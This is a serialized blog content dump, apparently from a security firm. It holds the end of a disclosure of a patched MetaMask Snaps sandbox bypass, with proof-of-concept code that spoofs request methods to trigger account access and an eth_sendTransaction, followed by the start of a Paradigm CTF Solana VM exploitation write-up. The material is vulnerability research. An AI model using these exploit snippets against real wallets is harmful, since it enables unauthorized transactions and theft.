\"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\", // change this to your address\n        to: \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\",\n        value: \"0x1\",\n      }]\n    }\n  }\n\n  return snap.request(x);\n}\n\nexport const onRpcRequest: OnRpcRequestHandler = ({ origin, request }) => {\n\n  switch (request.method) {\n    case 'json':\n      return jsonExploit();\n    case 'transaction':\n      return transactionExploit();\n    default:\n      throw new Error('Method not found.');\n  }\n};\n",[50728],{"type":23,"tag":71,"props":50729,"children":50730},{"__ignoreMap":7},[50731,50764,50771,50778,50795,50824,50831,50856,50863,50895,50906,50923,50936,50943,50950,50957,50989,50996,51003,51010,51026,51053,51060,51083,51090,51121,51132,51148,51160,51181,51196,51213,51221,51228,51235,51242,51273,51280,51287,51347,51354,51382,51399,51414,51430,51445,51457,51487,51494],{"type":23,"tag":75,"props":50732,"children":50733},{"class":77,"line":78},[50734,50738,50742,50747,50751,50755,50760],{"type":23,"tag":75,"props":50735,"children":50736},{"style":175},[50737],{"type":29,"value":30706},{"type":23,"tag":75,"props":50739,"children":50740},{"style":94},[50741],{"type":29,"value":20837},{"type":23,"tag":75,"props":50743,"children":50744},{"style":110},[50745],{"type":29,"value":50746},"OnRpcRequestHandler",{"type":23,"tag":75,"props":50748,"children":50749},{"style":94},[50750],{"type":29,"value":47394},{"type":23,"tag":75,"props":50752,"children":50753},{"style":175},[50754],{"type":29,"value":30696},{"type":23,"tag":75,"props":50756,"children":50757},{"style":1266},[50758],{"type":29,"value":50759}," '@metamask/snaps-types'",{"type":23,"tag":75,"props":50761,"children":50762},{"style":94},[50763],{"type":29,"value":245},{"type":23,"tag":75,"props":50765,"children":50766},{"class":77,"line":100},[50767],{"type":23,"tag":75,"props":50768,"children":50769},{"emptyLinePlaceholder":15},[50770],{"type":29,"value":276},{"type":23,"tag":75,"props":50772,"children":50773},{"class":77,"line":121},[50774],{"type":23,"tag":75,"props":50775,"children":50776},{"emptyLinePlaceholder":15},[50777],{"type":29,"value":276},{"type":23,"tag":75,"props":50779,"children":50780},{"class":77,"line":138},[50781,50785,50790],{"type":23,"tag":75,"props":50782,"children":50783},{"style":82},[50784],{"type":29,"value":85},{"type":23,"tag":75,"props":50786,"children":50787},{"style":88},[50788],{"type":29,"value":50789}," jsonExploit",{"type":23,"tag":75,"props":50791,"children":50792},{"style":94},[50793],{"type":29,"value":50794},"(){\n",{"type":23,"tag":75,"props":50796,"children":50797},{"class":77,"line":161},[50798,50802,50806,50810,50815,50819],{"type":23,"tag":75,"props":50799,"children":50800},{"style":82},[50801],{"type":29,"value":19114},{"type":23,"tag":75,"props":50803,"children":50804},{"style":110},[50805],{"type":29,"value":30288},{"type":23,"tag":75,"props":50807,"children":50808},{"style":209},[50809],{"type":29,"value":1193},{"type":23,"tag":75,"props":50811,"children":50812},{"style":94},[50813],{"type":29,"value":50814}," [] ",{"type":23,"tag":75,"props":50816,"children":50817},{"style":175},[50818],{"type":29,"value":20097},{"type":23,"tag":75,"props":50820,"children":50821},{"style":104},[50822],{"type":29,"value":50823}," any\n",{"type":23,"tag":75,"props":50825,"children":50826},{"class":77,"line":196},[50827],{"type":23,"tag":75,"props":50828,"children":50829},{"emptyLinePlaceholder":15},[50830],{"type":29,"value":276},{"type":23,"tag":75,"props":50832,"children":50833},{"class":77,"line":220},[50834,50839,50843,50847,50851],{"type":23,"tag":75,"props":50835,"children":50836},{"style":110},[50837],{"type":29,"value":50838},"  x",{"type":23,"tag":75,"props":50840,"children":50841},{"style":94},[50842],{"type":29,"value":557},{"type":23,"tag":75,"props":50844,"children":50845},{"style":110},[50846],{"type":29,"value":49504},{"type":23,"tag":75,"props":50848,"children":50849},{"style":209},[50850],{"type":29,"value":1193},{"type":23,"tag":75,"props":50852,"children":50853},{"style":1266},[50854],{"type":29,"value":50855}," \"snap_dialog\"\n",{"type":23,"tag":75,"props":50857,"children":50858},{"class":77,"line":248},[50859],{"type":23,"tag":75,"props":50860,"children":50861},{"emptyLinePlaceholder":15},[50862],{"type":29,"value":276},{"type":23,"tag":75,"props":50864,"children":50865},{"class":77,"line":270},[50866,50870,50874,50878,50882,50887,50891],{"type":23,"tag":75,"props":50867,"children":50868},{"style":110},[50869],{"type":29,"value":50838},{"type":23,"tag":75,"props":50871,"children":50872},{"style":94},[50873],{"type":29,"value":557},{"type":23,"tag":75,"props":50875,"children":50876},{"style":88},[50877],{"type":29,"value":50602},{"type":23,"tag":75,"props":50879,"children":50880},{"style":209},[50881],{"type":29,"value":1193},{"type":23,"tag":75,"props":50883,"children":50884},{"style":94},[50885],{"type":29,"value":50886}," () ",{"type":23,"tag":75,"props":50888,"children":50889},{"style":82},[50890],{"type":29,"value":26057},{"type":23,"tag":75,"props":50892,"children":50893},{"style":94},[50894],{"type":29,"value":401},{"type":23,"tag":75,"props":50896,"children":50897},{"class":77,"line":279},[50898,50902],{"type":23,"tag":75,"props":50899,"children":50900},{"style":175},[50901],{"type":29,"value":355},{"type":23,"tag":75,"props":50903,"children":50904},{"style":94},[50905],{"type":29,"value":401},{"type":23,"tag":75,"props":50907,"children":50908},{"class":77,"line":303},[50909,50914,50919],{"type":23,"tag":75,"props":50910,"children":50911},{"style":110},[50912],{"type":29,"value":50913},"      method:",{"type":23,"tag":75,"props":50915,"children":50916},{"style":1266},[50917],{"type":29,"value":50918}," \"eth_requestAccounts\"",{"type":23,"tag":75,"props":50920,"children":50921},{"style":94},[50922],{"type":29,"value":118},{"type":23,"tag":75,"props":50924,"children":50925},{"class":77,"line":322},[50926,50931],{"type":23,"tag":75,"props":50927,"children":50928},{"style":110},[50929],{"type":29,"value":50930},"      params:",{"type":23,"tag":75,"props":50932,"children":50933},{"style":94},[50934],{"type":29,"value":50935}," []\n",{"type":23,"tag":75,"props":50937,"children":50938},{"class":77,"line":340},[50939],{"type":23,"tag":75,"props":50940,"children":50941},{"style":94},[50942],{"type":29,"value":346},{"type":23,"tag":75,"props":50944,"children":50945},{"class":77,"line":349},[50946],{"type":23,"tag":75,"props":50947,"children":50948},{"style":94},[50949],{"type":29,"value":17141},{"type":23,"tag":75,"props":50951,"children":50952},{"class":77,"line":363},[50953],{"type":23,"tag":75,"props":50954,"children":50955},{"emptyLinePlaceholder":15},[50956],{"type":29,"value":276},{"type":23,"tag":75,"props":50958,"children":50959},{"class":77,"line":656},[50960,50964,50969,50973,50977,50981,50985],{"type":23,"tag":75,"props":50961,"children":50962},{"style":175},[50963],{"type":29,"value":7418},{"type":23,"tag":75,"props":50965,"children":50966},{"style":110},[50967],{"type":29,"value":50968}," snap",{"type":23,"tag":75,"props":50970,"children":50971},{"style":94},[50972],{"type":29,"value":557},{"type":23,"tag":75,"props":50974,"children":50975},{"style":88},[50976],{"type":29,"value":42688},{"type":23,"tag":75,"props":50978,"children":50979},{"style":94},[50980],{"type":29,"value":643},{"type":23,"tag":75,"props":50982,"children":50983},{"style":110},[50984],{"type":29,"value":30499},{"type":23,"tag":75,"props":50986,"children":50987},{"style":94},[50988],{"type":29,"value":653},{"type":23,"tag":75,"props":50990,"children":50991},{"class":77,"line":705},[50992],{"type":23,"tag":75,"props":50993,"children":50994},{"emptyLinePlaceholder":15},[50995],{"type":29,"value":276},{"type":23,"tag":75,"props":50997,"children":50998},{"class":77,"line":787},[50999],{"type":23,"tag":75,"props":51000,"children":51001},{"style":94},[51002],{"type":29,"value":369},{"type":23,"tag":75,"props":51004,"children":51005},{"class":77,"line":826},[51006],{"type":23,"tag":75,"props":51007,"children":51008},{"emptyLinePlaceholder":15},[51009],{"type":29,"value":276},{"type":23,"tag":75,"props":51011,"children":51012},{"class":77,"line":834},[51013,51017,51022],{"type":23,"tag":75,"props":51014,"children":51015},{"style":82},[51016],{"type":29,"value":85},{"type":23,"tag":75,"props":51018,"children":51019},{"style":88},[51020],{"type":29,"value":51021}," transactionExploit",{"type":23,"tag":75,"props":51023,"children":51024},{"style":94},[51025],{"type":29,"value":50794},{"type":23,"tag":75,"props":51027,"children":51028},{"class":77,"line":881},[51029,51033,51037,51041,51045,51049],{"type":23,"tag":75,"props":51030,"children":51031},{"style":82},[51032],{"type":29,"value":19114},{"type":23,"tag":75,"props":51034,"children":51035},{"style":110},[51036],{"type":29,"value":30288},{"type":23,"tag":75,"props":51038,"children":51039},{"style":209},[51040],{"type":29,"value":1193},{"type":23,"tag":75,"props":51042,"children":51043},{"style":94},[51044],{"type":29,"value":50814},{"type":23,"tag":75,"props":51046,"children":51047},{"style":175},[51048],{"type":29,"value":20097},{"type":23,"tag":75,"props":51050,"children":51051},{"style":104},[51052],{"type":29,"value":50823},{"type":23,"tag":75,"props":51054,"children":51055},{"class":77,"line":3355},[51056],{"type":23,"tag":75,"props":51057,"children":51058},{"emptyLinePlaceholder":15},[51059],{"type":29,"value":276},{"type":23,"tag":75,"props":51061,"children":51062},{"class":77,"line":3390},[51063,51067,51071,51075,51079],{"type":23,"tag":75,"props":51064,"children":51065},{"style":110},[51066],{"type":29,"value":50838},{"type":23,"tag":75,"props":51068,"children":51069},{"style":94},[51070],{"type":29,"value":557},{"type":23,"tag":75,"props":51072,"children":51073},{"style":110},[51074],{"type":29,"value":49504},{"type":23,"tag":75,"props":51076,"children":51077},{"style":209},[51078],{"type":29,"value":1193},{"type":23,"tag":75,"props":51080,"children":51081},{"style":1266},[51082],{"type":29,"value":50855},{"type":23,"tag":75,"props":51084,"children":51085},{"class":77,"line":3423},[51086],{"type":23,"tag":75,"props":51087,"children":51088},{"emptyLinePlaceholder":15},[51089],{"type":29,"value":276},{"type":23,"tag":75,"props":51091,"children":51092},{"class":77,"line":3436},[51093,51097,51101,51105,51109,51113,51117],{"type":23,"tag":75,"props":51094,"children":51095},{"style":110},[51096],{"type":29,"value":50838},{"type":23,"tag":75,"props":51098,"children":51099},{"style":94},[51100],{"type":29,"value":557},{"type":23,"tag":75,"props":51102,"children":51103},{"style":88},[51104],{"type":29,"value":50602},{"type":23,"tag":75,"props":51106,"children":51107},{"style":209},[51108],{"type":29,"value":1193},{"type":23,"tag":75,"props":51110,"children":51111},{"style":94},[51112],{"type":29,"value":50886},{"type":23,"tag":75,"props":51114,"children":51115},{"style":82},[51116],{"type":29,"value":26057},{"type":23,"tag":75,"props":51118,"children":51119},{"style":94},[51120],{"type":29,"value":401},{"type":23,"tag":75,"props":51122,"children":51123},{"class":77,"line":3449},[51124,51128],{"type":23,"tag":75,"props":51125,"children":51126},{"style":175},[51127],{"type":29,"value":355},{"type":23,"tag":75,"props":51129,"children":51130},{"style":94},[51131],{"type":29,"value":401},{"type":23,"tag":75,"props":51133,"children":51134},{"class":77,"line":3457},[51135,51139,51144],{"type":23,"tag":75,"props":51136,"children":51137},{"style":110},[51138],{"type":29,"value":50913},{"type":23,"tag":75,"props":51140,"children":51141},{"style":1266},[51142],{"type":29,"value":51143}," \"eth_sendTransaction\"",{"type":23,"tag":75,"props":51145,"children":51146},{"style":94},[51147],{"type":29,"value":118},{"type":23,"tag":75,"props":51149,"children":51150},{"class":77,"line":3465},[51151,51155],{"type":23,"tag":75,"props":51152,"children":51153},{"style":110},[51154],{"type":29,"value":50930},{"type":23,"tag":75,"props":51156,"children":51157},{"style":94},[51158],{"type":29,"value":51159}," [{\n",{"type":23,"tag":75,"props":51161,"children":51162},{"class":77,"line":3473},[51163,51167,51172,51176],{"type":23,"tag":75,"props":51164,"children":51165},{"style":110},[51166],{"type":29,"value":43260},{"type":23,"tag":75,"props":51168,"children":51169},{"style":1266},[51170],{"type":29,"value":51171}," \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\"",{"type":23,"tag":75,"props":51173,"children":51174},{"style":94},[51175],{"type":29,"value":611},{"type":23,"tag":75,"props":51177,"children":51178},{"style":3621},[51179],{"type":29,"value":51180},"// change this to your address\n",{"type":23,"tag":75,"props":51182,"children":51183},{"class":77,"line":3481},[51184,51188,51192],{"type":23,"tag":75,"props":51185,"children":51186},{"style":110},[51187],{"type":29,"value":43276},{"type":23,"tag":75,"props":51189,"children":51190},{"style":1266},[51191],{"type":29,"value":51171},{"type":23,"tag":75,"props":51193,"children":51194},{"style":94},[51195],{"type":29,"value":118},{"type":23,"tag":75,"props":51197,"children":51198},{"class":77,"line":3524},[51199,51204,51209],{"type":23,"tag":75,"props":51200,"children":51201},{"style":110},[51202],{"type":29,"value":51203},"        value:",{"type":23,"tag":75,"props":51205,"children":51206},{"style":1266},[51207],{"type":29,"value":51208}," \"0x1\"",{"type":23,"tag":75,"props":51210,"children":51211},{"style":94},[51212],{"type":29,"value":118},{"type":23,"tag":75,"props":51214,"children":51215},{"class":77,"line":4890},[51216],{"type":23,"tag":75,"props":51217,"children":51218},{"style":94},[51219],{"type":29,"value":51220},"      }]\n",{"type":23,"tag":75,"props":51222,"children":51223},{"class":77,"line":4937},[51224],{"type":23,"tag":75,"props":51225,"children":51226},{"style":94},[51227],{"type":29,"value":346},{"type":23,"tag":75,"props":51229,"children":51230},{"class":77,"line":4950},[51231],{"type":23,"tag":75,"props":51232,"children":51233},{"style":94},[51234],{"type":29,"value":17141},{"type":23,"tag":75,"props":51236,"children":51237},{"class":77,"line":4958},[51238],{"type":23,"tag":75,"props":51239,"children":51240},{"emptyLinePlaceholder":15},[51241],{"type":29,"value":276},{"type":23,"tag":75,"props":51243,"children":51244},{"class":77,"line":4967},[51245,51249,51253,51257,51261,51265,51269],{"type":23,"tag":75,"props":51246,"children":51247},{"style":175},[51248],{"type":29,"value":7418},{"type":23,"tag":75,"props":51250,"children":51251},{"style":110},[51252],{"type":29,"value":50968},{"type":23,"tag":75,"props":51254,"children":51255},{"style":94},[51256],{"type":29,"value":557},{"type":23,"tag":75,"props":51258,"children":51259},{"style":88},[51260],{"type":29,"value":42688},{"type":23,"tag":75,"props":51262,"children":51263},{"style":94},[51264],{"type":29,"value":643},{"type":23,"tag":75,"props":51266,"children":51267},{"style":110},[51268],{"type":29,"value":30499},{"type":23,"tag":75,"props":51270,"children":51271},{"style":94},[51272],{"type":29,"value":15099},{"type":23,"tag":75,"props":51274,"children":51275},{"class":77,"line":4975},[51276],{"type":23,"tag":75,"props":51277,"children":51278},{"style":94},[51279],{"type":29,"value":369},{"type":23,"tag":75,"props":51281,"children":51282},{"class":77,"line":5016},[51283],{"type":23,"tag":75,"props":51284,"children":51285},{"emptyLinePlaceholder":15},[51286],{"type":29,"value":276},{"type":23,"tag":75,"props":51288,"children":51289},{"class":77,"line":5025},[51290,51294,51298,51303,51307,51312,51316,51321,51326,51330,51334,51339,51343],{"type":23,"tag":75,"props":51291,"children":51292},{"style":175},[51293],{"type":29,"value":49400},{"type":23,"tag":75,"props":51295,"children":51296},{"style":82},[51297],{"type":29,"value":50302},{"type":23,"tag":75,"props":51299,"children":51300},{"style":88},[51301],{"type":29,"value":51302}," onRpcRequest",{"type":23,"tag":75,"props":51304,"children":51305},{"style":209},[51306],{"type":29,"value":1018},{"type":23,"tag":75,"props":51308,"children":51309},{"style":104},[51310],{"type":29,"value":51311}," OnRpcRequestHandler",{"type":23,"tag":75,"props":51313,"children":51314},{"style":209},[51315],{"type":29,"value":1193},{"type":23,"tag":75,"props":51317,"children":51318},{"style":94},[51319],{"type":29,"value":51320}," ({ ",{"type":23,"tag":75,"props":51322,"children":51323},{"style":110},[51324],{"type":29,"value":51325},"origin",{"type":23,"tag":75,"props":51327,"children":51328},{"style":94},[51329],{"type":29,"value":611},{"type":23,"tag":75,"props":51331,"children":51332},{"style":110},[51333],{"type":29,"value":42688},{"type":23,"tag":75,"props":51335,"children":51336},{"style":94},[51337],{"type":29,"value":51338}," }) ",{"type":23,"tag":75,"props":51340,"children":51341},{"style":82},[51342],{"type":29,"value":26057},{"type":23,"tag":75,"props":51344,"children":51345},{"style":94},[51346],{"type":29,"value":401},{"type":23,"tag":75,"props":51348,"children":51349},{"class":77,"line":5033},[51350],{"type":23,"tag":75,"props":51351,"children":51352},{"emptyLinePlaceholder":15},[51353],{"type":29,"value":276},{"type":23,"tag":75,"props":51355,"children":51356},{"class":77,"line":5041},[51357,51362,51366,51370,51374,51378],{"type":23,"tag":75,"props":51358,"children":51359},{"style":175},[51360],{"type":29,"value":51361},"  switch",{"type":23,"tag":75,"props":51363,"children":51364},{"style":94},[51365],{"type":29,"value":183},{"type":23,"tag":75,"props":51367,"children":51368},{"style":110},[51369],{"type":29,"value":42688},{"type":23,"tag":75,"props":51371,"children":51372},{"style":94},[51373],{"type":29,"value":557},{"type":23,"tag":75,"props":51375,"children":51376},{"style":110},[51377],{"type":29,"value":49504},{"type":23,"tag":75,"props":51379,"children":51380},{"style":94},[51381],{"type":29,"value":193},{"type":23,"tag":75,"props":51383,"children":51384},{"class":77,"line":5050},[51385,51390,51395],{"type":23,"tag":75,"props":51386,"children":51387},{"style":175},[51388],{"type":29,"value":51389},"    case",{"type":23,"tag":75,"props":51391,"children":51392},{"style":1266},[51393],{"type":29,"value":51394}," 'json'",{"type":23,"tag":75,"props":51396,"children":51397},{"style":94},[51398],{"type":29,"value":4732},{"type":23,"tag":75,"props":51400,"children":51401},{"class":77,"line":5058},[51402,51406,51410],{"type":23,"tag":75,"props":51403,"children":51404},{"style":175},[51405],{"type":29,"value":50546},{"type":23,"tag":75,"props":51407,"children":51408},{"style":88},[51409],{"type":29,"value":50789},{"type":23,"tag":75,"props":51411,"children":51412},{"style":94},[51413],{"type":29,"value":14944},{"type":23,"tag":75,"props":51415,"children":51416},{"class":77,"line":5083},[51417,51421,51426],{"type":23,"tag":75,"props":51418,"children":51419},{"style":175},[51420],{"type":29,"value":51389},{"type":23,"tag":75,"props":51422,"children":51423},{"style":1266},[51424],{"type":29,"value":51425}," 'transaction'",{"type":23,"tag":75,"props":51427,"children":51428},{"style":94},[51429],{"type":29,"value":4732},{"type":23,"tag":75,"props":51431,"children":51432},{"class":77,"line":5108},[51433,51437,51441],{"type":23,"tag":75,"props":51434,"children":51435},{"style":175},[51436],{"type":29,"value":50546},{"type":23,"tag":75,"props":51438,"children":51439},{"style":88},[51440],{"type":29,"value":51021},{"type":23,"tag":75,"props":51442,"children":51443},{"style":94},[51444],{"type":29,"value":14944},{"type":23,"tag":75,"props":51446,"children":51447},{"class":77,"line":5137},[51448,51453],{"type":23,"tag":75,"props":51449,"children":51450},{"style":175},[51451],{"type":29,"value":51452},"    default",{"type":23,"tag":75,"props":51454,"children":51455},{"style":94},[51456],{"type":29,"value":4732},{"type":23,"tag":75,"props":51458,"children":51459},{"class":77,"line":5163},[51460,51465,51469,51474,51478,51483],{"type":23,"tag":75,"props":51461,"children":51462},{"style":175},[51463],{"type":29,"value":51464},"      throw",{"type":23,"tag":75,"props":51466,"children":51467},{"style":82},[51468],{"type":29,"value":43128},{"type":23,"tag":75,"props":51470,"children":51471},{"style":88},[51472],{"type":29,"value":51473}," Error",{"type":23,"tag":75,"props":51475,"children":51476},{"style":94},[51477],{"type":29,"value":643},{"type":23,"tag":75,"props":51479,"children":51480},{"style":1266},[51481],{"type":29,"value":51482},"'Method not found.'",{"type":23,"tag":75,"props":51484,"children":51485},{"style":94},[51486],{"type":29,"value":15099},{"type":23,"tag":75,"props":51488,"children":51489},{"class":77,"line":5172},[51490],{"type":23,"tag":75,"props":51491,"children":51492},{"style":94},[51493],{"type":29,"value":17141},{"type":23,"tag":75,"props":51495,"children":51496},{"class":77,"line":5206},[51497],{"type":23,"tag":75,"props":51498,"children":51499},{"style":94},[51500],{"type":29,"value":27801},{"type":23,"tag":32,"props":51502,"children":51503},{},[51504,51506,51512,51514,51519],{"type":29,"value":51505},"We set ",{"type":23,"tag":71,"props":51507,"children":51509},{"className":51508},[],[51510],{"type":29,"value":51511},"x.method = \"snap_dialog\"",{"type":29,"value":51513}," to pass the assertion and setup a toJSON function to change this method to ",{"type":23,"tag":71,"props":51515,"children":51517},{"className":51516},[],[51518],{"type":29,"value":50721},{"type":29,"value":51520}," after.",{"type":23,"tag":923,"props":51522,"children":51524},{"id":51523},"mitigation",[51525],{"type":29,"value":51526},"Mitigation",{"type":23,"tag":32,"props":51528,"children":51529},{},[51530,51532,51537,51539,51546],{"type":29,"value":51531},"Metamask mitigated this issue by asserting the arguments after the ",{"type":23,"tag":71,"props":51533,"children":51535},{"className":51534},[],[51536],{"type":29,"value":50267},{"type":29,"value":51538}," function execution. The patch was introduced on commit ",{"type":23,"tag":940,"props":51540,"children":51543},{"href":51541,"rel":51542},"https://github.com/MetaMask/snaps/pull/1762/commits/168ff082102a65e2aad428f44c5b10f9a100c689",[944],[51544],{"type":29,"value":51545},"168ff08",{"type":29,"value":51547}," with the following changes:",{"type":23,"tag":64,"props":51549,"children":51553},{"className":51550,"code":51551,"language":51552,"meta":7,"style":7},"language-diff shiki shiki-themes slack-dark","const request = async (args: RequestArguments) => {\n-      assertEthereumOutboundRequest(args);\n-      const sanitizedArgs = getSafeJson(args);\n+      const sanitizedArgs = getSafeJson(args) as RequestArguments;\n+      assertEthereumOutboundRequest(sanitizedArgs);\n","diff",[51554],{"type":23,"tag":71,"props":51555,"children":51556},{"__ignoreMap":7},[51557,51565,51573,51581,51589],{"type":23,"tag":75,"props":51558,"children":51559},{"class":77,"line":78},[51560],{"type":23,"tag":75,"props":51561,"children":51562},{"style":94},[51563],{"type":29,"value":51564},"const request = async (args: RequestArguments) => {\n",{"type":23,"tag":75,"props":51566,"children":51567},{"class":77,"line":100},[51568],{"type":23,"tag":75,"props":51569,"children":51570},{"style":1266},[51571],{"type":29,"value":51572},"-      assertEthereumOutboundRequest(args);\n",{"type":23,"tag":75,"props":51574,"children":51575},{"class":77,"line":121},[51576],{"type":23,"tag":75,"props":51577,"children":51578},{"style":1266},[51579],{"type":29,"value":51580},"-      const sanitizedArgs = getSafeJson(args);\n",{"type":23,"tag":75,"props":51582,"children":51583},{"class":77,"line":138},[51584],{"type":23,"tag":75,"props":51585,"children":51586},{"style":237},[51587],{"type":29,"value":51588},"+      const sanitizedArgs = getSafeJson(args) as RequestArguments;\n",{"type":23,"tag":75,"props":51590,"children":51591},{"class":77,"line":161},[51592],{"type":23,"tag":75,"props":51593,"children":51594},{"style":237},[51595],{"type":29,"value":51596},"+      assertEthereumOutboundRequest(sanitizedArgs);\n",{"type":23,"tag":24,"props":51598,"children":51599},{"id":14115},[51600],{"type":29,"value":14118},{"type":23,"tag":32,"props":51602,"children":51603},{},[51604],{"type":29,"value":51605},"This unique property spoofing vulnerability in the Snaps sandboxing implementation illustrates the wide range of control attackers have in Javascript, which makes designing robust sandbox implementations an extremely complex task.",{"type":23,"tag":32,"props":51607,"children":51608},{},[51609],{"type":29,"value":51610},"Metamask has implemented numerous layers to mitigate potential exploits, and we're proud to help contribute to making Snaps more secure.",{"type":23,"tag":14130,"props":51612,"children":51613},{},[51614],{"type":29,"value":14134},{"title":7,"searchDepth":100,"depth":100,"links":51616},[51617,51618,51625,51633],{"id":30179,"depth":100,"text":30182},{"id":46647,"depth":100,"text":46650,"children":51619},[51620,51621,51622,51623,51624],{"id":46658,"depth":121,"text":46661},{"id":46726,"depth":121,"text":46729},{"id":46762,"depth":121,"text":46765},{"id":48155,"depth":121,"text":48158},{"id":48513,"depth":121,"text":48516},{"id":49299,"depth":100,"text":49302,"children":51626},[51627,51628,51629,51630,51631,51632],{"id":49305,"depth":121,"text":49308},{"id":49349,"depth":121,"text":49352},{"id":50253,"depth":121,"text":50256},{"id":16933,"depth":121,"text":16936},{"id":50694,"depth":121,"text":46023},{"id":51523,"depth":121,"text":51526},{"id":14115,"depth":100,"text":14118},"content:blog:2023-11-01-metamask-snaps.md","blog/2023-11-01-metamask-snaps.md","blog/2023-11-01-metamask-snaps",{"_path":51638,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":51639,"description":51640,"author":51641,"image":51643,"date":51645,"isFeatured":15,"onBlogPage":15,"body":51646,"_type":14157,"_id":57063,"_source":14159,"_file":57064,"_stem":57065,"_extension":14162},"/blog/2023-12-11-jumping-around-in-the-vm","Solana: Jumping Around in the VM","An exploration of low-level Solana VM behavior. How to escalate from a powerful memory corruption primitive to full program control.",[51642,16991],"nicola",{"src":51644},"/posts/jumping-around-in-the-vm/cover.png","2023-12-11",{"type":20,"children":51647,"toc":57052},[51648,51662,51682,51687,51691,51704,51729,51735,51740,51755,52109,52124,52389,52405,53048,53054,53059,53072,53080,53291,53299,53602,53610,53753,53761,54285,54291,54303,54316,54330,54335,55102,55107,55115,55120,55126,55138,55203,55208,55221,55234,55240,55268,56419,56432,56474,56479,56484,56498,56638,56659,56680,56687,56738,56746,56757,56770,56775,56899,56912,57014,57018,57031,57036,57048],{"type":23,"tag":32,"props":51649,"children":51650},{},[51651,51653,51660],{"type":29,"value":51652},"In the world of CTFs, ",{"type":23,"tag":940,"props":51654,"children":51657},{"href":51655,"rel":51656},"https://twitter.com/paradigm_ctf",[944],[51658],{"type":29,"value":51659},"Paradigm CTF 2023",{"type":29,"value":51661}," was like no other. Presenting a unique Solana challenge, the goal was to leverage Jump Oriented Programming, a web2 binary exploitation technique, inside the Solana VM to achieve arbitrary CPI execution.",{"type":23,"tag":32,"props":51663,"children":51664},{},[51665,51667,51674,51675],{"type":29,"value":51666},"To succeed in this challenge, a strong understanding of the Solana VM is required. We've explored parts of the Solana VM internals in two previous blog posts: ",{"type":23,"tag":940,"props":51668,"children":51671},{"href":51669,"rel":51670},"https://osec.io/blog/2022-03-14-solana-security-intro",[944],[51672],{"type":29,"value":51673},"Solana: An Auditor's Introduction",{"type":29,"value":2721},{"type":23,"tag":940,"props":51676,"children":51679},{"href":51677,"rel":51678},"https://osec.io/blog/2022-08-27-reverse-engineering-solana",[944],[51680],{"type":29,"value":51681},"Reverse Engineering Solana with Binary Ninja.\n",{"type":23,"tag":32,"props":51683,"children":51684},{},[51685],{"type":29,"value":51686},"In this comprehensive overview, we'll break down critical components of the Solana BPF VM necessary to write a complete memory-corruption exploit. We then turn an arbitrary function call and memory write primitive into a full exploit.",{"type":23,"tag":24,"props":51688,"children":51689},{"id":30179},[51690],{"type":29,"value":30182},{"type":23,"tag":32,"props":51692,"children":51693},{},[51694,51696,51702],{"type":29,"value":51695},"The challenge itself resides into ",{"type":23,"tag":71,"props":51697,"children":51699},{"className":51698},[],[51700],{"type":29,"value":51701},"framework/",{"type":29,"value":51703},", and is composed of 2 parts:",{"type":23,"tag":27910,"props":51705,"children":51706},{},[51707,51718],{"type":23,"tag":2801,"props":51708,"children":51709},{},[51710,51716],{"type":23,"tag":71,"props":51711,"children":51713},{"className":51712},[],[51714],{"type":29,"value":51715},"framework/chall/lib.rs",{"type":29,"value":51717},": The on-chain eBPF program that needs to be exploited.",{"type":23,"tag":2801,"props":51719,"children":51720},{},[51721,51727],{"type":23,"tag":71,"props":51722,"children":51724},{"className":51723},[],[51725],{"type":29,"value":51726},"framework/src/main.rs",{"type":29,"value":51728},": Program that setups a solana test environment, gets a single instruction and make it possible to users to interact with the on-chain program.",{"type":23,"tag":923,"props":51730,"children":51732},{"id":51731},"vulnerable-program",[51733],{"type":29,"value":51734},"Vulnerable Program",{"type":23,"tag":32,"props":51736,"children":51737},{},[51738],{"type":29,"value":51739},"The program is simple: it parses the input data and does something based on the first byte. Each potential action is quite out of the ordinary though!",{"type":23,"tag":2797,"props":51741,"children":51742},{},[51743],{"type":23,"tag":2801,"props":51744,"children":51745},{},[51746,51747,51753],{"type":29,"value":18739},{"type":23,"tag":71,"props":51748,"children":51750},{"className":51749},[],[51751],{"type":29,"value":51752},"data[0] == 0",{"type":29,"value":51754}," a function that lets you write-what-where is executed",{"type":23,"tag":64,"props":51756,"children":51758},{"className":987,"code":51757,"language":986,"meta":7,"style":7},"#[inline(never)]\npub fn write(data: &[u8]) {\n    unsafe {\n        let ptr = std::mem::transmute::\u003C[u8; 8], *mut u64>(data[..8].try_into().unwrap());\n        let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n        ptr.write_volatile(val);\n    }\n}\n",[51759],{"type":23,"tag":71,"props":51760,"children":51761},{"__ignoreMap":7},[51762,51770,51815,51826,51949,52066,52095,52102],{"type":23,"tag":75,"props":51763,"children":51764},{"class":77,"line":78},[51765],{"type":23,"tag":75,"props":51766,"children":51767},{"style":94},[51768],{"type":29,"value":51769},"#[inline(never)]\n",{"type":23,"tag":75,"props":51771,"children":51772},{"class":77,"line":100},[51773,51777,51781,51786,51790,51794,51798,51802,51806,51810],{"type":23,"tag":75,"props":51774,"children":51775},{"style":82},[51776],{"type":29,"value":24933},{"type":23,"tag":75,"props":51778,"children":51779},{"style":82},[51780],{"type":29,"value":24938},{"type":23,"tag":75,"props":51782,"children":51783},{"style":88},[51784],{"type":29,"value":51785}," write",{"type":23,"tag":75,"props":51787,"children":51788},{"style":94},[51789],{"type":29,"value":643},{"type":23,"tag":75,"props":51791,"children":51792},{"style":110},[51793],{"type":29,"value":14976},{"type":23,"tag":75,"props":51795,"children":51796},{"style":209},[51797],{"type":29,"value":1018},{"type":23,"tag":75,"props":51799,"children":51800},{"style":209},[51801],{"type":29,"value":844},{"type":23,"tag":75,"props":51803,"children":51804},{"style":94},[51805],{"type":29,"value":814},{"type":23,"tag":75,"props":51807,"children":51808},{"style":104},[51809],{"type":29,"value":1139},{"type":23,"tag":75,"props":51811,"children":51812},{"style":94},[51813],{"type":29,"value":51814},"]) 